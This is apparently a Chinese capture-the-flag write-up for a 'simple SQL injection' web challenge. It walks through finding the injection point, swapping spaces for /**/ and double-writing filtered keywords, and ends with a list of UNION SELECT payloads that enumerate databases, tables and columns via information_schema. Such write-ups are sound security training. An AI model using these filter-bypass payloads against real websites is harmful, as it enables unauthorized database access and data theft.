实验吧-简单的SQL注入

题目来源:

http://ctf5.shiyanbar.com/423/web/

实验吧-简单的SQL注入

writeup

1、进入页面后,尝试输入1

实验吧-简单的SQL注入
实验吧-简单的SQL注入
发现注入点

2、尝试注入

首先尝试

?id=1'

实验吧-简单的SQL注入

其次,尝试

?id=1 and 1=1

实验吧-简单的SQL注入
实验吧-简单的SQL注入
发现,没有and,且,空格被+替代

  • 知识点:可用/**/,()来替代

进行尝试(这里用/**/来代替空格),再次尝试注入
实验吧-简单的SQL注入实验吧-简单的SQL注入
3、尝试爆数据库
实验吧-简单的SQL注入实验吧-简单的SQL注入

4、尝试爆表名
实验吧-简单的SQL注入实验吧-简单的SQL注入发现flag

5、尝试爆列名
实验吧-简单的SQL注入结果发现了过滤:
column_nameinformation_schema.columns过滤了

这里尝试双写绕过实验吧-简单的SQL注入发现flag

6、获得flag
实验吧-简单的SQL注入

后话

此题基础,可以根据提示信息发现过滤点~

?id=1'
?id=1 and 1=1
?id=1'/**/and/**/'1'='1
?id=1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1
?id=1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1
?id=1'/**/union/**/select/**/column_nacolumn_nameme/**/from/**/information_schema.columinformation_schema.columnsns/**/where/**/table_name='flag
?id=1'/**/union/**/select/**/flag/**/where/**/'1'='1